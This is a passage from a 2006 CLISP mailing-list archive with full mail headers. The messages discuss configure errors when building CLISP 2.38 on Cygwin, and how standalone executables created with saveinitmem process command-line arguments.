>CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 26 05:16:02 2006 X-Original-Date: Thu, 26 Jan 2006 14:14:18 +0100 Sam Steingold writes: > > * Andrew Stebakov [2006-01-25 10:58:21 -0800]: > > > > I downloaded the latest clisp and trying to build it. > > I have only cygwin installed on my system (with mingw > > runtime) so I go into the src directory and type: > > > > ./configure --with-mingw --build clisp-mingw > > The result is a bunch of checks and finally: > > configure: * check for host type > > checking build system type... Invalid configuration > > `clisp-mingw': machine `clisp' not recognized > > configure: error: /bin/sh ./build-aux/config.sub > > clisp-mingw failed > > I have no idea what this might mean. > I am afraid this is indeed a problem with your installation, so you will > have to google for the error message and ask the autoconf experts... I'd try ./configure --prefix=/usr/local --build clisp-2.38-build (without --with-mingw or --with-cygwin) IIRC, that's how I compiled 2.33 on cygwin. -- __Pascal Bourguignon__ http://www.informatimago.com/ "This statement is false." In Lisp: (defun Q () (eq nil (Q))) From pjb@informatimago.com Thu Jan 26 05:16:48 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F26zY-0002Qk-2n for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 05:16:48 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F26zX-000696-5f for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 05:16:47 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id CFD20586B0; Thu, 26 Jan 2006 14:16:44 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 2EDBF586AF; Thu, 26 Jan 2006 14:16:39 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id DF3B18307; Thu, 26 Jan 2006 14:16:38 +0100 (CET) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17368.52149.989831.171670@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Cc: Klaus Weidner Subject: Re: [clisp-list] Re: release 2.38 - standalone executable In-Reply-To: References: <20060125182507.GC17726@w-m-p.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 26 05:17:06 2006 X-Original-Date: Thu, 26 Jan 2006 14:16:37 +0100 Sam Steingold writes: > > * Klaus Weidner [2006-01-25 12:25:07 -0600]: > > > > Sam Steingold writes: > >>> * Roman Belenov [2006-01-25 18:45:12 +0300]: > >>> The arguments are processed before init-function is called, so that > >>> doesn't help. It would be possible to CUSTOM:*INIT-HOOKS* as a > >>> workaround if ext:*args* were initialized before calling the hooks, > >>> but it is not the case. > >> > >> I don't understand what you want. > > [...] > >> $ ./adder "" 1 2 3 4 > >> 10 > >> $ > > > > The issue here is the extra "" (or --) argument required; if you don't > > use that the builtin runtime argument processing takes precedence. For > > example, if you just provide a filename argument to the program it'll > > try to load that as a Lisp file. > > yes, this is necessary to enable CLISP scripting: > a script > ----------- foo ----------- > #!/usr/local/bin/clisp > ... > ----------- foo ----------- > is called like this: > when you type > $ foo a b c > shell is doing > $ /usr/local/bin/clisp foo a b c So the solution would be to start with: (push *load-pathname* ext:*argv*) in saved images? -- __Pascal Bourguignon__ http://www.informatimago.com/ I need a new toy. Tail of black dog keeps good time. Pounce! Good dog! Good dog! From pjb@informatimago.com Thu Jan 26 05:48:42 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F27UQ-0004oz-3A for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 05:48:42 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F27UL-0007dh-HE for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 05:48:39 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id D9C4F585EB; Thu, 26 Jan 2006 14:48:30 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 6C664585BE; Thu, 26 Jan 2006 14:48:27 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 54C558307; Thu, 26 Jan 2006 14:48:27 +0100 (CET) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17368.54059.318000.918601@thalassa.informatimago.com> To: Roman Belenov Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: release 2.38 - standalone executable In-Reply-To: References: <20060124221217.65625.qmail@web32003.mail.mud.yahoo.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 26 05:49:08 2006 X-Original-Date: Thu, 26 Jan 2006 14:48:27 +0100 Roman Belenov writes: > Sam Steingold writes: > > > suppose you want your program to add its arguments. > > you do this: > > > > $ clisp -norc -x '(saveinitmem "adder" :executable t :norc t :quiet t > > :init-function (lambda () (print (reduce (function +) ext:*args* :key > > (function read-from-string))) (ext:exit)))' > > > > $ ./adder "" 1 2 3 4 > > What I want is to eliminate the need of "" (or --) as a first argument, so that > ./adder 1 2 3 4 > would do the job instead of treating 1 as name of Lisp file to load. As far as > I understand, it's not currently supported and requires additional flag in > the image and corresponding keyword argument in saveinitmem. The workaround I suggested doesn't work: [pjb@thalassa tmp]$ clisp -norc -x '(saveinitmem "adder" :executable t :norc t :quiet t :init-function (lambda () (push *load-pathname* ext:*args*) (print (reduce (function +) ext:*args* :key (function read-from-string))) (ext:exit)))' clisp -norc -x '(saveinitmem "adder" :executable t :norc t :quiet t :init-function (lambda () (push *load-pathname* ext:*args*) (print (reduce (function +) ext:*args* :key (function read-from-string))) (ext:exit)))' [1]> 2587744 ; 646396 [pjb@thalassa tmp]$ file adder file adder adder: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), not stripped [pjb@thalassa tmp]$ ./adder 1 2 3 ./adder 1 2 3 *** - LOAD: A file with name 1 does not exist [pjb@thalassa tmp]$ -- __Pascal Bourguignon__ http://www.informatimago.com/ You never feed me. Perhaps I'll sleep on your face. That will sure show you. From Roman.Belenov@intel.com Thu Jan 26 06:12:45 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F27rg-0006ex-LJ for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 06:12:44 -0800 Received: from fmr15.intel.com ([192.55.52.69] helo=fmsfmr005.fm.intel.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F27rf-0007hE-Ch for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 06:12:44 -0800 Received: from fmsfmr100.fm.intel.com (fmsfmr100.fm.intel.com [10.253.24.20]) by fmsfmr005.fm.intel.com (8.12.10/8.12.10/d: major-outer.mc,v 1.1 2004/09/17 17:50:56 root Exp $) with ESMTP id k0QECbgb017165; Thu, 26 Jan 2006 14:12:37 GMT Received: from fmsmsxvs043.fm.intel.com (fmsmsxvs043.fm.intel.com [132.233.42.129]) by fmsfmr100.fm.intel.com (8.12.10/8.12.10/d: major-inner.mc,v 1.2 2004/09/17 18:05:01 root Exp $) with SMTP id k0QECWdH007469; Thu, 26 Jan 2006 14:12:37 GMT Received: (from NNWRBELENOV41 [10.125.17.115]) by fmsmsxvs043.fm.intel.com (SAVSMTP 3.1.7.47) with SMTP id M2006012606122726083 ; Thu, 26 Jan 2006 06:12:36 -0800 To: clisp-list@lists.sourceforge.net Cc: Klaus Weidner Subject: Re: [clisp-list] Re: release 2.38 - standalone executable References: <20060125182507.GC17726@w-m-p.com> From: Roman Belenov In-Reply-To: (Sam Steingold's message of "Wed, 25 Jan 2006 17:16:12 -0500") Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/23.0.0 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Scanned-By: MIMEDefang 2.52 on 10.253.24.20 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 26 06:13:14 2006 X-Original-Date: Thu, 26 Jan 2006 17:12:26 +0300 Sam Steingold writes: >> The issue here is the extra "" (or --) argument required; if you don't >> use that the builtin runtime argument processing takes precedence. For >> example, if you just provide a filename argument to the program it'll >> try to load that as a Lisp file. > > yes, this is necessary to enable CLISP scripting: I see, but for standalone executables it would be more desirable to disable this functionality. -- With regards, Roman. From daly@axiom-developer.org Wed Jan 25 14:55:58 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1tYU-0007zN-RB for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 14:55:58 -0800 Received: from mx-7.zoominternet.net ([24.154.1.26]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1tYT-0006up-OE for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 14:55:59 -0800 Received: from mua-3.zoominternet.net (mua-3.zoominternet.net [24.154.1.46]) by mx-7.zoominternet.net (8.12.11/8.12.11) with ESMTP id k0PMtt9B019554; Wed, 25 Jan 2006 17:55:55 -0500 Received: from foo (unknown [72.23.22.90]) by mua-3.zoominternet.net (Postfix) with ESMTP id 85FE17F411; Wed, 25 Jan 2006 17:55:25 -0500 (EST) Received: (from root@localhost) by foo (8.11.6/8.11.6) id k0PNiAF01469; Wed, 25 Jan 2006 18:44:10 -0500 Message-Id: <200601252344.k0PNiAF01469@foo> From: root To: clisp-list@lists.sourceforge.net Cc: clisp-list@lists.sourceforge.net, daly@axiom-developer.org In-reply-to: (message from Sam Steingold on Wed, 25 Jan 2006 17:12:23 -0500) Reply-To: daly@axiom-developer.org References: <20060124221217.65625.qmail@web32003.mail.mud.yahoo.com> <200601252009.k0PK9mw01336@foo> X-Spam-Score: 0.60 () [Tag at 15.00] J_CHICKENPOX_65 X-CanItPRO-Stream: outgoing X-Scanned-By: CanIt (www . roaringpenguin . com) on 24.154.1.26 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: release 2.38 - standalone executable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 26 06:24:11 2006 X-Original-Date: Wed, 25 Jan 2006 18:44:10 -0500 no errors loading config.cache but i removed this file, started the process from the beginning and it appears to work fine. thanks. Tim Daly From daly@axiom-developer.org Wed Jan 25 16:57:49 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1vSP-0008Qt-Qq for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 16:57:49 -0800 Received: from mx-8.zoominternet.net ([24.154.1.27]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1vSO-0007de-Pg for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 16:57:50 -0800 Received: from mua-4.zoominternet.net (mua-4.zoominternet.net [24.154.1.47]) by mx-8.zoominternet.net (8.12.11/8.12.11) with ESMTP id k0Q0vjuG015754; Wed, 25 Jan 2006 19:57:46 -0500 Received: from foo (unknown [72.23.22.90]) by mua-4.zoominternet.net (Postfix) with ESMTP id 331427F407; Wed, 25 Jan 2006 19:57:46 -0500 (EST) Received: (from root@localhost) by foo (8.11.6/8.11.6) id k0Q1kVu01519; Wed, 25 Jan 2006 20:46:31 -0500 Message-Id: <200601260146.k0Q1kVu01519@foo> From: root To: clisp-list@lists.sourceforge.net Cc: clisp-list@lists.sourceforge.net, daly@axiom-developer.org In-reply-to: (message from Sam Steingold on Wed, 25 Jan 2006 17:12:23 -0500) Reply-To: daly@axiom-developer.org References: <20060124221217.65625.qmail@web32003.mail.mud.yahoo.com> <200601252009.k0PK9mw01336@foo> X-Spam-Score: 0.00 () [Tag at 15.00] X-CanItPRO-Stream: outgoing X-Scanned-By: CanIt (www . roaringpenguin . com) on 24.154.1.27 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: release 2.38 - standalone executable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 26 06:24:13 2006 X-Original-Date: Wed, 25 Jan 2006 20:46:31 -0500 i might add a second vote to not expecting -- as the first argument of an executable file. i'm using this standalone feature to allow me to replace a C++ program and this will be an issue as soon as i push out the resulting change. it does make a "drop-in replacement" harder and is a non-standard way of handling command line arguments. i suppose 'scripting' uses of executables was a prior use and i can see why it works the way it does. however it is easier for someone to handle the extra initial arg if they plan to use it in a script than be forced to supply an arg you can't override. Tim Daly From sds@gnu.org Thu Jan 26 06:32:17 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F28AS-0008IN-Hk for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 06:32:08 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F28AR-0004Cm-1t for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 06:32:08 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.143]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0QEVNb6012014; Thu, 26 Jan 2006 09:31:29 -0500 (EST) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <17368.52149.989831.171670@thalassa.informatimago.com> (Pascal Bourguignon's message of "Thu, 26 Jan 2006 14:16:37 +0100") References: <20060125182507.GC17726@w-m-p.com> <17368.52149.989831.171670@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: release 2.38 - standalone executable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 26 06:33:01 2006 X-Original-Date: Thu, 26 Jan 2006 09:30:35 -0500 > * Pascal Bourguignon [2006-01-26 14:16:37 +0100]: > > So the solution would be to start with: > > (push *load-pathname* ext:*argv*) > > in saved images? "script" overrides "init-function" -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.camera.org http://www.memri.org http://www.dhimmi.com http://ffii.org http://www.jihadwatch.org http://www.honestreporting.com Two wrongs don't make a right, but three rights make a left. From Joerg-Cyril.Hoehle@t-systems.com Thu Jan 26 07:39:10 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F29DK-0005ZE-EW for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 07:39:10 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F29DJ-00060V-03 for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 07:39:10 -0800 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 16:34:10 +0100 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 26 Jan 2006 16:34:09 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A030819F30C@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: release 2.38 - standalone executable MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 26 07:40:04 2006 X-Original-Date: Thu, 26 Jan 2006 16:34:05 +0100 Hi, Pascal Bourguignon writes: >So the solution would be to start with: > (push *load-pathname* ext:*argv*) >in saved images? Excellent analysis, excellent summary. There's certainly a need for that scenario. However, I'd say it's not acceptable/automatic that "standalone" ==> the above, because some users may still allow for CLISP to process options (e.g. -B, -E, -I, --with-interactive-debug etc. among them). E.g. my own use would be "a single file for ease, but otherwise regular CLISP, for use within Emacs" (-I is important there). Therefore, what's probably needed is something to influence the startup when preparing a dump, either an argument to saveinitmen, or one of the custom:* variables. Note that some of the options, but AFAIK not all of them can be set from within Lisp itself (e.g. the language IIRC, -L). So maybe we're left with: a) image in .exe, just for convenience, otherwise regular CLISP behaviour (-E etc.). b) image in .exe, no CLISP options, application starts with *argv* c) image in .exe, CLISP processes options and leaves either unrecognized (better not) or options after e.g. -- to *argv* for consumption by the application, similar to the old scripting solution. d) ??? Regards, Jorg Hohle. From fb@frank-buss.de Thu Jan 26 07:48:55 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F29Ml-0006IB-9i for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 07:48:55 -0800 Received: from smtp2.netcologne.de ([194.8.194.218]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F29Mk-0002lj-3s for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 07:48:55 -0800 Received: from galilei (xdsl-84-44-128-1.netcologne.de [84.44.128.1]) by smtp2.netcologne.de (Postfix) with ESMTP id 97F904C63; Thu, 26 Jan 2006 16:48:41 +0100 (MET) From: "Frank Buss" To: Cc: Subject: RE: [clisp-list] Re: Building clisp 2.38 fails, questions MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.6353 In-Reply-To: <17368.52010.995043.396005@thalassa.informatimago.com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Thread-Index: AcYieqjNcr1NZHm0RsOjhvdZTBrsqgAFQzbw Message-Id: <20060126154841.97F904C63@smtp2.netcologne.de> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 26 07:49:04 2006 X-Original-Date: Thu, 26 Jan 2006 16:48:44 +0100 Pascal Bourguignon wrote: > I'd try ./configure --prefix=/usr/local --build clisp-2.38-build > > (without --with-mingw or --with-cygwin) IIRC, that's how I compiled > 2.33 on cygwin. if you want to install MinGW, you can follow this step-by-step manual: http://www.frank-buss.de/lisp/clab/trunk/clisp/index.html -- Frank Buss, fb@frank-buss.de http://www.frank-buss.de, http://www.it4-systems.de From kw@w-m-p.com Thu Jan 26 08:24:36 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F29vH-0000gl-75 for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 08:24:35 -0800 Received: from mail.atsec.com ([195.30.252.105]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F29vF-0000Rm-M0 for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 08:24:35 -0800 Received: (qmail 12783 invoked by uid 10125); 26 Jan 2006 16:24:31 -0000 X-SpaceNet-Virusscan: Sophos Version: 4.00; Last IDE Update: 2006-01-26 11:50 no information about results Received: from enchantedrock.atsec.com (HELO io.lan.w-m-p.com) (216.201.228.115) by mail.atsec.com with SMTP; 26 Jan 2006 16:24:31 -0000 X-SpaceNet-Authentification: SMTP AUTH verified Received: by io.lan.w-m-p.com (Postfix, from userid 501) id 8772414AF0; Thu, 26 Jan 2006 10:24:28 -0600 (CST) From: Klaus Weidner To: Pascal Bourguignon Cc: Roman Belenov , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: release 2.38 - standalone executable Message-ID: <20060126162423.GB7080@w-m-p.com> References: <20060124221217.65625.qmail@web32003.mail.mud.yahoo.com> <17368.54059.318000.918601@thalassa.informatimago.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <17368.54059.318000.918601@thalassa.informatimago.com> User-Agent: Mutt/1.5.9i X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 26 08:25:14 2006 X-Original-Date: Thu, 26 Jan 2006 10:24:23 -0600 On Thu, Jan 26, 2006 at 02:48:27PM +0100, Pascal Bourguignon wrote: > The workaround I suggested doesn't work: > > [pjb@thalassa tmp]$ clisp -norc -x '(saveinitmem "adder" :executable t :norc t :quiet t :init-function (lambda () (push *load-pathname* ext:*args*) (print (reduce (function +) ext:*args* :key (function read-from-string))) (ext:exit)))' > clisp -norc -x '(saveinitmem "adder" :executable t :norc t :quiet t :init-function (lambda () (push *load-pathname* ext:*args*) (print (reduce (function +) ext:*args* :key (function read-from-string))) (ext:exit)))' [...] > [pjb@thalassa tmp]$ ./adder 1 2 3 > ./adder 1 2 3 > *** - LOAD: A file with name 1 does not exist I think you're misunderstanding the problem - the issue is that the clisp runtime handles the arguments in a predefined way before the saved memory image is even loaded, so there's nothing the init function can do about it. You don't need to put a filename into the first position of *argv*. The clisp runtime currently works roughly like this: - in "lisp" executable, step through the argument vector provided by the kernel - handle all "-foo" flags defined in the clisp man page for the runtime. All handled arguments are removed from argv. - if a blank argument ("") or -- is encountered, stop argument processing, leaving the remaining args (not the "" or --) in argv. - if a non-option argument is encountered, treat it as the name of a file to load, and discard it from the argument list. - bind the remaining argv contents to ext:*args* - after argv processing is complete, load the memory image specified with "-m" or the memory image attached to the "lisp" executable. - run an initfunc or the repl as appropriate The mechanism ensures that you can run Lisp scripts using the plain "lisp" runtime, but it makes it impossible to create binaries which want to handle arguments in a different way. To change this, you'd need to modify the order in which the actions are done - as far as I can tell the runtime argv handler doesn't even know yet if an image is attached, so it can't change its behavior based on a flag specified when saving the image. So you'd need to look for the attached image first before parsing the arguments. I was planning to look into making a patch for this, but I'm not sure if I understand well enough how things work to do this cleanly. -Klaus From Tree@basistech.com Thu Jan 26 08:37:12 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F2A7U-0001qz-1f for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 08:37:12 -0800 Received: from company.basistech.com ([199.88.205.1] helo=mail2.basistech.net) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F2A7S-0004wN-QU for clisp-list@lists.sourceforge.net; Thu, 26 Jan 2006 08:37:12 -0800 Received: from tiphares.basistech.net ([10.1.3.250]) by mail2.basistech.net with Microsoft SMTPSVC(6.0.3790.1830); Thu, 26 Jan 2006 11:36:59 -0500 Received: by tiphares.basistech.net (Postfix, from 